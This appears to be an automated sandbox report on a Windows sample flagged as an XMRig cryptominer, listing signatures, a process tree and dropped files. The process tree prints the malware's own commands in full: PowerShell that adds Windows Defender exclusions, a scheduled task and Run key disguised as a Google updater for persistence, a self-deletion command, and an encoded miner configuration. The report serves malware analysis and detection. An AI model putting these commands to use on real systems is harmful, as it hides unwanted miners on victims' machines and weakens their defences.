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Analysis

  • max time kernel
    1693s
  • max time network
    1801s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22/07/2024, 16:18

General

  • Target
    grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
  • Size 2.0MB
  • Sample240722-trzfaaxall
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 30 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1300
      • C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (18).exe
        "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (18).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2844
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2916
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2716
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:652
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (18).exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2760
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:328
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2476
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1152
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:3012
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:3016
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:3044
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:2488
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1276
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1912
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {1584A892-CC10-491B-BF85-B7274B337671} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1180
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2260

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

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              Downloads

              updater.exe

              • Path C:\Program Files\Google\Chrome\updater.exe
              • Size 2.0MB
              • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
              • MD5 SHA1 SHA512 SSDEEP

              g.log

              • Path C:\Program Files\Google\Libs\g.log
              • Size 198B
              • SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
              • MD5 SHA1 SHA512

              590aee7bdd69b59b.customDestinations-ms

              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
              • Size 7KB
              • SHA256 554b116c294828341713439ca9abab1ef1e7f6d5bb1caaa42be0b3452912a379
              • MD5 SHA1 SHA512 SSDEEP

              memory/1912-75-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-81-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-105-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-103-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-101-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-99-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-97-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-54-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-93-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-55-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-91-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-89-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-87-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-85-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-69-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-83-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-67-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-71-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-42-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-65-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-43-0x0000000000A50000-0x0000000000A70000-memory.dmp

              memory/1912-79-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-77-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-48-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-50-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-52-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-63-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-95-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-73-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-57-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-59-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/1912-61-0x0000000140000000-0x00000001407F4000-memory.dmp

              memory/2260-41-0x000000013F700000-0x000000013F911000-memory.dmp

              memory/2260-36-0x000000013F700000-0x000000013F911000-memory.dmp

              memory/2464-0-0x000000013F470000-0x000000013F681000-memory.dmp

              memory/2464-27-0x000000013F470000-0x000000013F681000-memory.dmp

              memory/2844-7-0x000000001B1D0000-0x000000001B4B2000-memory.dmp

              memory/2844-8-0x0000000001D30000-0x0000000001D38000-memory.dmp

              memory/2844-9-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

              memory/2844-10-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

              memory/2844-5-0x000007FEF531E000-0x000007FEF531F000-memory.dmp

              memory/2844-6-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

              memory/2844-11-0x000007FEF5060000-0x000007FEF59FD000-memory.dmp

              memory/2916-23-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/2916-24-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/2916-21-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/2916-22-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/2916-20-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/2916-19-0x0000000002590000-0x0000000002598000-memory.dmp

              memory/2916-18-0x000000001B070000-0x000000001B352000-memory.dmp

              memory/2916-17-0x000007FEF5CBE000-0x000007FEF5CBF000-memory.dmp

              memory/2916-25-0x000007FEF5A00000-0x000007FEF639D000-memory.dmp

              memory/3016-53-0x0000000140000000-0x0000000140016000-memory.dmp

              memory/3016-47-0x0000000140000000-0x0000000140016000-memory.dmp